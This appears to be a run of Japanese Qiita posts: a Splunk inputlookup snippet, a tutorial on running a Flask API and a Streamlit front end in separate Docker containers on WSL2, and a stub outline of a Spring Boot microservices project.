![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789518/d5bc855a-9890-e6aa-8948-9f3ea5317305.png)

# SPL例
Lookup定義をコマンドで指定する。

```ruby:qiita.rb
| inputlookup routing [lookup_field] AS [search_field] OUTPUT [lookup_field]
```

尚、WILDCARD, CIDR を知っていると、とても便利です。
Docker入門3）WebAPI開発

## WSL2のDocker環境で、API本体とAPI呼び出し画面を同時に起動する方法

この記事では、Flaskをバックエンドとして使用し、Streamlitをフロントエンドとして使用するアプリケーションを、Docker Composeを使わずに、それぞれのコンテナを起動する方法を説明します。

## 1. ディレクトリ構成

以下のように各アプリケーションのDockerfileとソースコードを配置します。

```
/
|-- flask_api/
|   |-- Dockerfile
|   |-- app.py
|   |-- requirements.txt
|-- streamlit_app/
    |-- Dockerfile
    |-- app.py
    |-- requirements.txt
```

## 2. Flask側

**Dockerfile (flask_api/Dockerfile):**
```dockerfile
# Pythonの公式イメージをベースに使用
FROM python:3.8-slim

# 作業ディレクトリを設定
WORKDIR /app

# 依存関係ファイルをコンテナにコピー
COPY requirements.txt .

# 依存関係をインストール
RUN pip install --no-cache-dir -r requirements.txt

# アプリケーションのソースコードをコンテナにコピー
COPY . .

# Flaskが外部からの接続を受け付けられるようにする
EXPOSE 5000

# コンテナが起動するときにFlaskアプリケーションを実行
CMD ["flask", "run", "--host=0.0.0.0"]
```

**requirements.txt (flask_api/requirements.txt):**
```
flask
```

**app.py (flask_api/app.py):**
```python
from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello, World! API呼び出しに成功しました!!'

if __name__ == '__main__':
    app.run()
```

## 3. Streamlit側

**Dockerfile (streamlit_app/Dockerfile):**
```dockerfile
# Pythonの公式イメージをベースに使用
FROM python:3.8-slim

# 作業ディレクトリを設定
WORKDIR /app

# 依存関係ファイルをコンテナにコピー
COPY requirements.txt .

# 依存関係をインストール
RUN pip install --no-cache-dir -r requirements.txt

# アプリケーションのソースコードをコンテナにコピー
COPY . .

# Streamlitが外部からの接続を受け付けられるようにする
EXPOSE 8501

# コンテナが起動するときにStreamlitアプリケーションを実行
CMD ["streamlit", "run", "app.py", "--server.port=8501", "--server.address=0.0.0.0"]
```

**requirements.txt (streamlit_app/requirements.txt):**
```
streamlit
requests
```

**app.py (streamlit_app/app.py):**
```python
import streamlit as st
import requests

st.title('Streamlit Frontend')

if st.button('API呼び出し'):
    # 注意: localhostではなく、WSL2のIPアドレスを指定すること
    response = requests.get('http://172.30.52.163:5000/')
    st.write(response.text)
```

[補足] WSL2のIPアドレスは、以下のコマンドを実行すれば、 `inet` の直後に記載されている（例：172.30.52.163）。

```bash
ip addr show eth0
```

## 4. Docker起動

1. **Flaskアプリのビルドと実行:**
   ```bash
   cd flask_api
   docker build -t flask-api .
   docker run -d -p 5000:5000 flask-api
   ```

2. **Streamlitアプリのビルドと実行:**
   ```bash
   cd streamlit_app
   docker build -t streamlit-app .
   docker run -p 8501:8501 streamlit-app
   ```

3. http://0.0.0.0:8501にアクセス
以下のような文字とボタンだけの画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2951968/389b1c0a-7450-d123-ca6e-9989561ab0ef.png)

4. API呼び出しボタンをクリック
ボタンをクリックしてAPIを呼び出し、レスポンスとして文字が返ってくれば、正常動作。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2951968/aa4cec6f-c59e-3cc0-467a-6895635fae6a.png)

5. 後処理
バックグラウンドで起動させたflask-apiコンテナを、以下の手順で停止させる。
まず、下記コマンドを実行して、flask-apiコンテナのコンテナ名を確認する。(コンテナ名は、epic_aryabhataなど、自動的に割当られている）

```bash
docker ps 
```

次に、下記コマンドを実行して、コンテナを停止する。
```bash
docker stop [コンテナ名]
```

コンテナ名がepic_aryabhataの場合、以下の通り。
```bash
docker stop epic_aryabhata
```

以上で、API本体（Flask API）と API呼び出し画面（Streamlitアプリケーション）を別々のコンテナで独立して起動させ、WebAPI（HTTP通信）によりコンテナ間の連携が可能であることを確認できました。

------
Spring Boot でアプリを作成してみた【Microservices Project】

## 1. Building Services
- Product Service
- Order Service
- Inventory Service
- Notification Service



## 参考サイト
[Spring Boot Microservices Project Example - Part 1 | Building Services](https://www.youtube.com/watch?v=lh1oQHXVSc0&list=PLSVW22jAG8pBnhAdq9S8BpLnZ0_jVBj0c)